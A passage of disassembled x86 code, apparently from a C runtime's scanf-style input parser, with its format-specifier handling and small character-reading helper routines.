movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_43A88C, 1
jle short loc_420529
movzx eax, bl
push 4
push eax
call sub_41F44A
pop ecx
pop ecx
jmp short loc_420538
; ---------------------------------------------------------------------------
loc_420529: ; CODE XREF: sub_420445+D3j
mov ecx, off_43A680
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_420538: ; CODE XREF: sub_420445+E2j
test eax, eax
jz short loc_42054E
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_4205B3
; ---------------------------------------------------------------------------
loc_42054E: ; CODE XREF: sub_420445+F5j
cmp ebx, 4Eh
jg short loc_420591
jz short loc_4205B3
cmp ebx, 2Ah
jz short loc_42058C
cmp ebx, 46h
jz short loc_4205B3
cmp ebx, 49h
jz short loc_42056E
cmp ebx, 4Ch
jnz short loc_4205A0
inc [ebp+var_D]
jmp short loc_4205B3
; ---------------------------------------------------------------------------
loc_42056E: ; CODE XREF: sub_420445+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_4205A0
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_4205A0
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_4205B3
; ---------------------------------------------------------------------------
loc_42058C: ; CODE XREF: sub_420445+113j
inc [ebp+var_E]
jmp short loc_4205B3
; ---------------------------------------------------------------------------
loc_420591: ; CODE XREF: sub_420445+10Cj
cmp ebx, 68h
jz short loc_4205AD
cmp ebx, 6Ch
jz short loc_4205A5
cmp ebx, 77h
jz short loc_4205A8
loc_4205A0: ; CODE XREF: sub_420445+122j
; sub_420445+12Dj ...
inc [ebp+var_F]
jmp short loc_4205B3
; ---------------------------------------------------------------------------
loc_4205A5: ; CODE XREF: sub_420445+154j
inc [ebp+var_D]
loc_4205A8: ; CODE XREF: sub_420445+159j
inc [ebp+var_5]
jmp short loc_4205B3
; ---------------------------------------------------------------------------
loc_4205AD: ; CODE XREF: sub_420445+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_4205B3: ; CODE XREF: sub_420445+107j
; sub_420445+10Ej ...
cmp [ebp+var_F], 0
jz loc_42050C
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_4205D8
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_4205D8: ; CODE XREF: sub_420445+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_4205F6
mov al, [esi]
cmp al, 53h
jz short loc_4205F2
cmp al, 43h
jz short loc_4205F2
or [ebp+var_5], 0FFh
jmp short loc_4205F6
; ---------------------------------------------------------------------------
loc_4205F2: ; CODE XREF: sub_420445+1A1j
; sub_420445+1A5j
mov [ebp+var_5], 1
loc_4205F6: ; CODE XREF: sub_420445+19Bj
; sub_420445+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_42062F
cmp esi, 63h
jz short loc_420620
cmp esi, 7Bh
jz short loc_420620
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_420ED2
pop ecx
jmp short loc_42062B
; ---------------------------------------------------------------------------
loc_420620: ; CODE XREF: sub_420445+1C5j
; sub_420445+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420EA1
loc_42062B: ; CODE XREF: sub_420445+1D9j
pop ecx
mov [ebp+var_14], eax
loc_42062F: ; CODE XREF: sub_420445+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_42063F
cmp [ebp+var_C], eax
jz loc_420E1B
loc_42063F: ; CODE XREF: sub_420445+1EFj
cmp esi, 6Fh
jg loc_4208A6
jz loc_420B58
cmp esi, 63h
jz loc_420883
cmp esi, 64h
jz loc_420B58
jle loc_4208D0
cmp esi, 67h
jle short loc_4206A3
cmp esi, 69h
jz short loc_42068B
cmp esi, 6Eh
jnz loc_4208D0
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_420D86
jmp loc_420DAC
; ---------------------------------------------------------------------------
loc_42068B: ; CODE XREF: sub_420445+229j
push 64h
pop esi
loc_42068E: ; CODE XREF: sub_420445+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_420918
mov [ebp+var_17], 1
jmp loc_42091D
; ---------------------------------------------------------------------------
loc_4206A3: ; CODE XREF: sub_420445+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_4206BF
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_4206C4
; ---------------------------------------------------------------------------
loc_4206BF: ; CODE XREF: sub_420445+26Aj
cmp ebx, 2Bh
jnz short loc_4206DB
loc_4206C4: ; CODE XREF: sub_420445+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_420EA1
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4206DE
; ---------------------------------------------------------------------------
loc_4206DB: ; CODE XREF: sub_420445+27Dj
mov edi, [ebp+arg_0]
loc_4206DE: ; CODE XREF: sub_420445+294j
cmp [ebp+var_20], 0
jz short loc_4206ED
cmp [ebp+var_C], 15Dh
jle short loc_4206F4
loc_4206ED: ; CODE XREF: sub_420445+29Dj
mov [ebp+var_C], 15Dh
loc_4206F4: ; CODE XREF: sub_420445+2A6j
; sub_420445+2F2j
cmp dword_43A88C, 1
jle short loc_420709
push 4
push ebx
call sub_41F44A
pop ecx
pop ecx
jmp short loc_420714
; ---------------------------------------------------------------------------
loc_420709: ; CODE XREF: sub_420445+2B6j
mov eax, off_43A680
mov al, [eax+ebx*2]
and eax, 4
loc_420714: ; CODE XREF: sub_420445+2C2j
test eax, eax
jz short loc_420739
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420739
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_420EA1
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4206F4
; ---------------------------------------------------------------------------
loc_420739: ; CODE XREF: sub_420445+2D1j
; sub_420445+2DBj
cmp byte_43A890, bl
jnz short loc_4207A7
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_4207A7
inc [ebp+var_4]
push edi
call sub_420EA1
mov ebx, eax
mov al, byte_43A890
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_420762: ; CODE XREF: sub_420445+360j
cmp dword_43A88C, 1
jle short loc_420777
push 4
push ebx
call sub_41F44A
pop ecx
pop ecx
jmp short loc_420782
; ---------------------------------------------------------------------------
loc_420777: ; CODE XREF: sub_420445+324j
mov eax, off_43A680
mov al, [eax+ebx*2]
and eax, 4
loc_420782: ; CODE XREF: sub_420445+330j
test eax, eax
jz short loc_4207A7
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_4207A7
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_420EA1
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_420762
; ---------------------------------------------------------------------------
loc_4207A7: ; CODE XREF: sub_420445+2FAj
; sub_420445+304j ...
cmp [ebp+var_1C], 0
jz loc_42083F
cmp ebx, 65h
jz short loc_4207BF
cmp ebx, 45h
jnz loc_42083F
loc_4207BF: ; CODE XREF: sub_420445+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_42083F
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_420EA1
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_4207E6
mov [esi], al
inc esi
jmp short loc_4207EB
; ---------------------------------------------------------------------------
loc_4207E6: ; CODE XREF: sub_420445+39Aj
cmp ebx, 2Bh
jnz short loc_420809
loc_4207EB: ; CODE XREF: sub_420445+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_4207FA
and [ebp+var_C], eax
jmp short loc_420809
; ---------------------------------------------------------------------------
loc_4207FA: ; CODE XREF: sub_420445+3AEj
; sub_420445+3F8j
inc [ebp+var_4]
push edi
call sub_420EA1
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_420809: ; CODE XREF: sub_420445+3A4j
; sub_420445+3B3j
cmp dword_43A88C, 1
jle short loc_42081E
push 4
push ebx
call sub_41F44A
pop ecx
pop ecx
jmp short loc_420829
; ---------------------------------------------------------------------------
loc_42081E: ; CODE XREF: sub_420445+3CBj
mov eax, off_43A680
mov al, [eax+ebx*2]
and eax, 4
loc_420829: ; CODE XREF: sub_420445+3D7j
test eax, eax
jz short loc_42083F
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_42083F
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_4207FA
; ---------------------------------------------------------------------------
loc_42083F: ; CODE XREF: sub_420445+366j
; sub_420445+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_420EBB
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_420E4B
cmp [ebp+var_E], 0
jnz loc_420DAC
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_43AC30
add esp, 0Ch
jmp loc_420DAC
; ---------------------------------------------------------------------------
loc_420883: ; CODE XREF: sub_420445+20Cj
cmp [ebp+var_20], eax
jnz short loc_420892
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_420892: ; CODE XREF: sub_420445+441j
cmp [ebp+var_5], 0
jle short loc_42089C
mov [ebp+var_16], 1
loc_42089C: ; CODE XREF: sub_420445+451j
mov edi, offset dword_43AB08
jmp loc_4209B1
; ---------------------------------------------------------------------------
loc_4208A6: ; CODE XREF: sub_420445+1FDj
mov eax, esi
sub eax, 70h
jz loc_420B54
sub eax, 3
jz loc_4209A2
dec eax
dec eax
jz loc_420B58
sub eax, 3
jz loc_42068E
sub eax, 3
jz short loc_4208F4
loc_4208D0: ; CODE XREF: sub_420445+21Bj
; sub_420445+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_420E1B
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_420DAC
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_420DAC
; ---------------------------------------------------------------------------
loc_4208F4: ; CODE XREF: sub_420445+489j
cmp [ebp+var_5], 0
jle short loc_4208FE
mov [ebp+var_16], 1
loc_4208FE: ; CODE XREF: sub_420445+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_4209B5
mov eax, edi
lea edi, [eax+1]
jmp loc_4209B1
; ---------------------------------------------------------------------------
loc_420918: ; CODE XREF: sub_420445+24Fj
cmp ebx, 2Bh
jnz short loc_42093F
loc_42091D: ; CODE XREF: sub_420445+259j
dec [ebp+var_C]
jnz short loc_42092E
cmp [ebp+var_20], 0
jz short loc_42092E
mov [ebp+var_F], 1
jmp short loc_42093F
; ---------------------------------------------------------------------------
loc_42092E: ; CODE XREF: sub_420445+4DBj
; sub_420445+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420EA1
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_42093F: ; CODE XREF: sub_420445+4D6j
; sub_420445+4E7j
cmp ebx, 30h
jnz loc_420B8D
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420EA1
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_42098D
cmp bl, 58h
jz short loc_42098D
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_420977
push 6Fh
loc_420971: ; CODE XREF: sub_420445+55Bj
pop esi
jmp loc_420B8D
; ---------------------------------------------------------------------------
loc_420977: ; CODE XREF: sub_420445+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_420EBB
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_420B8A
; ---------------------------------------------------------------------------
loc_42098D: ; CODE XREF: sub_420445+517j
; sub_420445+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420EA1
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_420971
; ---------------------------------------------------------------------------
loc_4209A2: ; CODE XREF: sub_420445+46Fj
cmp [ebp+var_5], 0
jle short loc_4209AC
mov [ebp+var_16], 1
loc_4209AC: ; CODE XREF: sub_420445+561j
mov edi, offset dword_43AB00
loc_4209B1: ; CODE XREF: sub_420445+45Cj
; sub_420445+4CEj
or [ebp+var_18], 0FFh
loc_4209B5: ; CODE XREF: sub_420445+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_41BD10
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_4209D9
cmp byte ptr [edi], 5Dh
jnz short loc_4209D9
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_4209DC
; ---------------------------------------------------------------------------
loc_4209D9: ; CODE XREF: sub_420445+584j
; sub_420445+589j
mov dl, [ebp+var_35]
loc_4209DC: ; CODE XREF: sub_420445+592j
; sub_420445+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_420A41
inc edi
cmp al, 2Dh
jnz short loc_420A28
test dl, dl
jz short loc_420A28
mov cl, [edi]
cmp cl, 5Dh
jz short loc_420A28
inc edi
cmp dl, cl
jnb short loc_4209FB
mov al, cl
jmp short loc_4209FF
; ---------------------------------------------------------------------------
loc_4209FB: ; CODE XREF: sub_420445+5B0j
mov al, dl
mov dl, cl
loc_4209FF: ; CODE XREF: sub_420445+5B4j
cmp dl, al
ja short loc_420A24
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_420A0C: ; CODE XREF: sub_420445+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_420A0C
loc_420A24: ; CODE XREF: sub_420445+5BCj
xor dl, dl
jmp short loc_4209DC
; ---------------------------------------------------------------------------
loc_420A28: ; CODE XREF: sub_420445+5A0j
; sub_420445+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_4209DC
; ---------------------------------------------------------------------------
loc_420A41: ; CODE XREF: sub_420445+59Bj
cmp byte ptr [edi], 0
jz loc_420E4B
cmp [ebp+var_3C], 7Bh
jnz short loc_420A53
mov [ebp+arg_4], edi
loc_420A53: ; CODE XREF: sub_420445+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_420EBB
pop ecx
pop ecx
loc_420A6A: ; CODE XREF: sub_420445+6BCj
; sub_420445+6C4j
cmp [ebp+var_20], 0
jz short loc_420A7E
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_420B1A
loc_420A7E: ; CODE XREF: sub_420445+629j
inc [ebp+var_4]
push edi
call sub_420EA1
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_420B0E
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_420B0E
cmp [ebp+var_E], 0
jnz short loc_420B06
cmp [ebp+var_16], 0
jz short loc_420AFB
mov ecx, off_43A680
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_420ADA
inc [ebp+var_4]
push edi
call sub_420EA1
pop ecx
mov [ebp+var_37], al
loc_420ADA: ; CODE XREF: sub_420445+686j
push dword_43A88C
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_423DCB
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_420AFE
; ---------------------------------------------------------------------------
loc_420AFB: ; CODE XREF: sub_420445+673j
mov [esi], al
inc esi
loc_420AFE: ; CODE XREF: sub_420445+6B4j
mov [ebp+var_2C], esi
jmp loc_420A6A
; ---------------------------------------------------------------------------
loc_420B06: ; CODE XREF: sub_420445+66Dj
inc [ebp+var_30]
jmp loc_420A6A
; ---------------------------------------------------------------------------
loc_420B0E: ; CODE XREF: sub_420445+649j
; sub_420445+667j
dec [ebp+var_4]
push edi
push eax
call sub_420EBB
pop ecx
pop ecx
loc_420B1A: ; CODE XREF: sub_420445+633j
cmp [ebp+var_30], esi
jz loc_420E4B
cmp [ebp+var_E], 0
jnz loc_420DAC
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_420DAC
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_420B4C
and word ptr [eax], 0
jmp loc_420DAC
; ---------------------------------------------------------------------------
loc_420B4C: ; CODE XREF: sub_420445+6FCj
and byte ptr [eax], 0
jmp loc_420DAC
; ---------------------------------------------------------------------------
loc_420B54: ; CODE XREF: sub_420445+466j
mov [ebp+var_D], 1
loc_420B58: ; CODE XREF: sub_420445+203j
; sub_420445+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_420B66
mov [ebp+var_17], 1
jmp short loc_420B6B
; ---------------------------------------------------------------------------
loc_420B66: ; CODE XREF: sub_420445+719j
cmp ebx, 2Bh
jnz short loc_420B8D
loc_420B6B: ; CODE XREF: sub_420445+71Fj
dec [ebp+var_C]
jnz short loc_420B7C
cmp [ebp+var_20], 0
jz short loc_420B7C
mov [ebp+var_F], 1
jmp short loc_420B8D
; ---------------------------------------------------------------------------
loc_420B7C: ; CODE XREF: sub_420445+729j
; sub_420445+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420EA1
pop ecx
mov ebx, eax
loc_420B8A: ; CODE XREF: sub_420445+543j
mov [ebp+var_14], ebx
loc_420B8D: ; CODE XREF: sub_420445+4FDj
; sub_420445+52Dj ...
cmp [ebp+var_30], 0
jz loc_420CA6
cmp [ebp+var_F], 0
jnz loc_420C84
loc_420BA1: ; CODE XREF: sub_420445+82Cj
cmp esi, 78h
jnz short loc_420BF5
cmp dword_43A88C, 1
jle short loc_420BBE
push 80h
push ebx
call sub_41F44A
pop ecx
pop ecx
jmp short loc_420BCB
; ---------------------------------------------------------------------------
loc_420BBE: ; CODE XREF: sub_420445+768j
mov eax, off_43A680
mov al, [eax+ebx*2]
and eax, 80h
loc_420BCB: ; CODE XREF: sub_420445+777j
test eax, eax
jz loc_420C76
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_423EA0
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_420E6A
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_420C48
; ---------------------------------------------------------------------------
loc_420BF5: ; CODE XREF: sub_420445+75Fj
cmp dword_43A88C, 1
jle short loc_420C0A
push 4
push ebx
call sub_41F44A
pop ecx
pop ecx
jmp short loc_420C15
; ---------------------------------------------------------------------------
loc_420C0A: ; CODE XREF: sub_420445+7B7j
mov eax, off_43A680
mov al, [eax+ebx*2]
and eax, 4
loc_420C15: ; CODE XREF: sub_420445+7C3j
test eax, eax
jz short loc_420C76
cmp esi, 6Fh
jnz short loc_420C33
cmp ebx, 38h
jge short loc_420C76
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_423EA0
jmp short loc_420C42
; ---------------------------------------------------------------------------
loc_420C33: ; CODE XREF: sub_420445+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_41DA20
loc_420C42: ; CODE XREF: sub_420445+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_420C48: ; CODE XREF: sub_420445+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_420C60
dec [ebp+var_C]
jz short loc_420C84
loc_420C60: ; CODE XREF: sub_420445+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420EA1
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_420BA1
; ---------------------------------------------------------------------------
loc_420C76: ; CODE XREF: sub_420445+788j
; sub_420445+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_420EBB
pop ecx
pop ecx
loc_420C84: ; CODE XREF: sub_420445+756j
; sub_420445+819j
cmp [ebp+var_17], 0
jz loc_420D6A
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_420D6A
; ---------------------------------------------------------------------------
loc_420CA6: ; CODE XREF: sub_420445+74Cj
cmp [ebp+var_F], 0
jnz loc_420D62
loc_420CB0: ; CODE XREF: sub_420445+90Aj
cmp esi, 78h
jz short loc_420CF4
cmp esi, 70h
jz short loc_420CF4
cmp dword_43A88C, 1
jle short loc_420CCF
push 4
push ebx
call sub_41F44A
pop ecx
pop ecx
jmp short loc_420CDA
; ---------------------------------------------------------------------------
loc_420CCF: ; CODE XREF: sub_420445+87Cj
mov eax, off_43A680
mov al, [eax+ebx*2]
and eax, 4
loc_420CDA: ; CODE XREF: sub_420445+888j
test eax, eax
jz short loc_420D54
cmp esi, 6Fh
jnz short loc_420CED
cmp ebx, 38h
jge short loc_420D54
shl edi, 3
jmp short loc_420D2C
; ---------------------------------------------------------------------------
loc_420CED: ; CODE XREF: sub_420445+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_420D2C
; ---------------------------------------------------------------------------
loc_420CF4: ; CODE XREF: sub_420445+86Ej
; sub_420445+873j
cmp dword_43A88C, 1
jle short loc_420D0C
push 80h
push ebx
call sub_41F44A
pop ecx
pop ecx
jmp short loc_420D19
; ---------------------------------------------------------------------------
loc_420D0C: ; CODE XREF: sub_420445+8B6j
mov eax, off_43A680
mov al, [eax+ebx*2]
and eax, 80h
loc_420D19: ; CODE XREF: sub_420445+8C5j
test eax, eax
jz short loc_420D54
push ebx
shl edi, 4
call sub_420E6A
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_420D2C: ; CODE XREF: sub_420445+8A6j
; sub_420445+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_420D3E
dec [ebp+var_C]
jz short loc_420D62
loc_420D3E: ; CODE XREF: sub_420445+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420EA1
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_420CB0
; ---------------------------------------------------------------------------
loc_420D54: ; CODE XREF: sub_420445+897j
; sub_420445+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_420EBB
pop ecx
pop ecx
loc_420D62: ; CODE XREF: sub_420445+865j
; sub_420445+8F7j
cmp [ebp+var_17], 0
jz short loc_420D6A
neg edi
loc_420D6A: ; CODE XREF: sub_420445+843j
; sub_420445+85Cj ...
cmp esi, 46h
jnz short loc_420D73
and [ebp+var_1C], 0
loc_420D73: ; CODE XREF: sub_420445+928j
cmp [ebp+var_1C], 0
jz loc_420E4B
cmp [ebp+var_E], 0
jnz short loc_420DAC
inc [ebp+var_34]
loc_420D86: ; CODE XREF: sub_420445+23Bj
cmp [ebp+var_30], 0
jz short loc_420D9C
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_420DAC
; ---------------------------------------------------------------------------
loc_420D9C: ; CODE XREF: sub_420445+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_420DA9
mov [eax], edi
jmp short loc_420DAC
; ---------------------------------------------------------------------------
loc_420DA9: ; CODE XREF: sub_420445+95Ej
mov [eax], di
loc_420DAC: ; CODE XREF: sub_420445+241j
; sub_420445+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_420DF9
; ---------------------------------------------------------------------------
loc_420DB7: ; CODE XREF: sub_420445+93j
inc [ebp+var_4]
push edi
call sub_420EA1
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_420E26
mov ecx, off_43A680
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_420DF9
inc [ebp+var_4]
push edi
call sub_420EA1
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_420E34
dec [ebp+var_4]
loc_420DF9: ; CODE XREF: sub_420445+970j
; sub_420445+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_420E0F
cmp byte ptr [esi], 25h
jnz short loc_420E51
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_420E51
mov esi, eax
loc_420E0F: ; CODE XREF: sub_420445+9B8j
mov al, [esi]
test al, al
jnz loc_42046F
jmp short loc_420E4B
; ---------------------------------------------------------------------------
loc_420E1B: ; CODE XREF: sub_420445+1F4j
; sub_420445+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_420E2B
; ---------------------------------------------------------------------------
loc_420E26: ; CODE XREF: sub_420445+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_420E2B: ; CODE XREF: sub_420445+9DFj
call sub_420EBB
pop ecx
pop ecx
jmp short loc_420E4B
; ---------------------------------------------------------------------------
loc_420E34: ; CODE XREF: sub_420445+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_420EBB
dec [ebp+var_4]
push edi
push ebx
call sub_420EBB
add esp, 10h
loc_420E4B: ; CODE XREF: sub_420445+1Fj
; sub_420445+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_420E62
loc_420E51: ; CODE XREF: sub_420445+9BDj
; sub_420445+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_420E65
cmp [ebp+var_15], al
jnz short loc_420E65
or eax, 0FFFFFFFFh
jmp short loc_420E65
; ---------------------------------------------------------------------------
loc_420E62: ; CODE XREF: sub_420445+A0Aj
mov eax, [ebp+var_34]
loc_420E65: ; CODE XREF: sub_420445+A11j
; sub_420445+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_420445 endp
; =============== S U B R O U T I N E =======================================
sub_420E6A proc near ; CODE XREF: sub_420445+7A3p
; sub_420445+8DCp
arg_0 = dword ptr 4
cmp dword_43A88C, 1
push esi
jle short loc_420E84
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_41F44A
pop ecx
pop ecx
jmp short loc_420E93
; ---------------------------------------------------------------------------
loc_420E84: ; CODE XREF: sub_420E6A+8j
mov esi, [esp+4+arg_0]
mov eax, off_43A680
mov al, [eax+esi*2]
and eax, 4
loc_420E93: ; CODE XREF: sub_420E6A+18j
test eax, eax
jnz short loc_420E9D
and esi, 0FFFFFFDFh
sub esi, 7
loc_420E9D: ; CODE XREF: sub_420E6A+2Bj
mov eax, esi
pop esi
retn
sub_420E6A endp
; =============== S U B R O U T I N E =======================================
sub_420EA1 proc near ; CODE XREF: sub_420445+1E1p
; sub_420445+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_420EB3
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_420EB3: ; CODE XREF: sub_420EA1+7j
push edx
call sub_41EF78
pop ecx
retn
sub_420EA1 endp
; =============== S U B R O U T I N E =======================================
sub_420EBB proc near ; CODE XREF: sub_420445+6Bp
; sub_420445+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_420ED1
push [esp+arg_4]
push [esp+4+arg_0]
call sub_423EBF
pop ecx
pop ecx
locret_420ED1: ; CODE XREF: sub_420EBB+5j
retn
sub_420EBB endp
; =============== S U B R O U T I N E =======================================
sub_420ED2 proc near ; CODE XREF: sub_420445+63p
; sub_420445+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_420ED8: ; CODE XREF: sub_420ED2+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_420EA1
mov edi, eax
push edi
call sub_41DE10
pop ecx
test eax, eax
pop ecx
jnz short loc_420ED8
mov eax, edi
pop edi
pop esi
retn
sub_420ED2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_420EF6(int,int,double,int)
sub_420EF6 proc near ; CODE XREF: sub_41CDE5+51p
; sub_41CF2B+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_43B000, 0
jnz short loc_420F2B
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
